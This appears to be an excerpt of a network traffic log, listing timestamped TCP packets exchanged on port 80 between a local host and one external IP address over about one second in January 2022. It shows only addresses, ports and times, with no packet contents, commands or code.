Jan 13, 2022 20:51:41.069603920 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.069664001 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.069807053 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.070708036 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.070749998 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.070779085 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.070801020 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.070806980 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.070846081 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.074892044 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.074934959 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.074964046 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.074989080 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.075028896 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.075093985 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.076231956 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.076405048 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.126209021 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.126215935 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.126233101 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.126259089 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.126468897 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.128490925 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.128520012 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.128556013 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.128586054 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.128627062 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.128776073 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.128804922 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.128844976 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.128873110 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.139137983 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.139223099 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.139260054 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.139286041 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.139295101 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.139321089 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.139328003 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.139345884 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.141340971 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.141419888 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.141503096 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.141547918 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.192601919 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.192681074 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.192734957 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.192780972 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.192785025 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.192830086 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.192831993 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.192900896 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.192974091 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.203270912 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.203326941 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.203367949 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.203424931 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.247159004 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.252171040 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.252265930 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.252326012 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.252475977 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.252639055 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.252698898 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.252742052 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.252751112 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.252790928 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.252832890 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.252837896 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.252913952 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.259176016 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.259234905 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.259367943 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.303550959 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.308388948 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.308446884 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.308487892 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.308545113 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.308649063 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.308741093 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.308789015 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.308799982 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.308840036 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.308861017 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.308887959 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.308955908 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.315540075 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.315579891 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.315618992 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.315680027 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.315722942 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.364876986 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.364948988 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.364995956 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.365056992 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.365084887 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.365118027 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.365175009 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.365215063 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.365235090 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.365328074 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.365341902 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.371352911 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.371403933 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.371448040 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.371471882 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.371510029 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.371524096 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.371565104 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.420653105 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.420707941 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.420758009 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.420886993 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.420973063 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.421047926 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.421112061 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.421154976 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.421205044 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.421231985 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.421313047 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.429514885 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.429574013 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.429621935 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.429687023 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.429796934 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.429891109 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.476293087 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.476334095 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.476375103 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.476418018 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.476480007 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.476541996 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.476608038 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.476651907 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.476691008 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.476712942 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.476727962 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.476782084 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.494252920 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.494291067 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.494326115 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.494378090 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.494525909 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.494977951 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.536521912 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.536552906 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.536576986 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.536672115 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.536706924 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.536731958 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.536761045 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.536803961 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.541369915 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.541405916 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.541429996 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.541455984 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.541507006 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.541548014 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.549766064 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.549806118 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.549832106 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.549870968 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.549875975 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.549930096 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.593311071 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.593369961 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.593394041 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.593416929 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.593446016 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.593470097 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.593554020 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.593662024 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.597141027 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.597167015 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.597191095 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.597222090 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.597290993 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.597326994 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.605154037 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.605252981 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.605308056 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.605354071 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.605508089 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.605586052 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.650032997 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.650096893 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.650228977 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.650304079 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.650347948 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.650424957 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.650451899 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.650492907 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.650553942 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.652849913 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.652894974 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.652935982 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.652966022 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.652975082 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.653032064 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.661308050 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.661351919 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.661390066 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.661429882 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.661525011 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.664757013 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.706644058 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.706707001 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.706754923 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.706804991 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.706851006 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.706898928 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.707042933 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.707089901 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.707094908 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.708267927 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.708322048 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.708368063 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.708420992 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.708444118 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.708506107 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.716808081 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.716814041 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.716953993 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.720468998 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.720506907 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.720535040 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.720628023 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.762725115 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.762772083 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.762792110 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.762814045 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.762907982 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.762929916 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.762953043 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.763005972 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.763010979 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.763856888 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.763886929 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.763906956 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.763920069 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.763986111 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.764035940 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.775551081 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.775598049 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.775752068 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.775773048 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.775785923 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.775799990 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.775846958 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.775921106 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.818312883 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.818352938 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.818365097 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.818409920 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.818511963 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.818576097 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.818744898 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.818770885 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.818861008 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.822001934 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.822029114 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.822046995 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.822062969 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.822156906 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.822226048 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.831562996 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.831607103 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.831629992 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.831785917 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.832434893 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.832467079 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.832562923 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.874058962 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.874156952 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.874216080 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.874260902 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.874259949 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.874288082 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.874299049 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.874342918 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.874377966 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.877636909 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.877703905 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.877751112 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.877789021 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.877813101 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.877840042 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.888416052 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.888501883 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.888561964 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.888612986 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.888628960 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.888674974 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.929707050 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.929779053 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.929822922 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.929903030 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.929933071 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.929966927 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.930105925 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.930150032 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.930177927 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.933609009 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.933670044 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.933731079 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.938863039 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.938915968 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.939040899 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.944075108 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.944186926 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.944205046 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.944228888 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.944268942 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.944308996 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.987312078 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.987363100 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.987401009 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.987442970 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.987468958 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.987509012 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.988070011 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.988143921 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.988149881 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.988212109 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.988270998 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.988276005 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.990045071 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.990115881 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.990160942 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.995255947 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.995305061 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.995342016 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.000502110 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.000555038 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.000590086 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.000621080 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.000665903 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.000710964 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.044456005 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.044506073 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.044544935 CET	80	49852	45.135.233.182	192.168.2.5
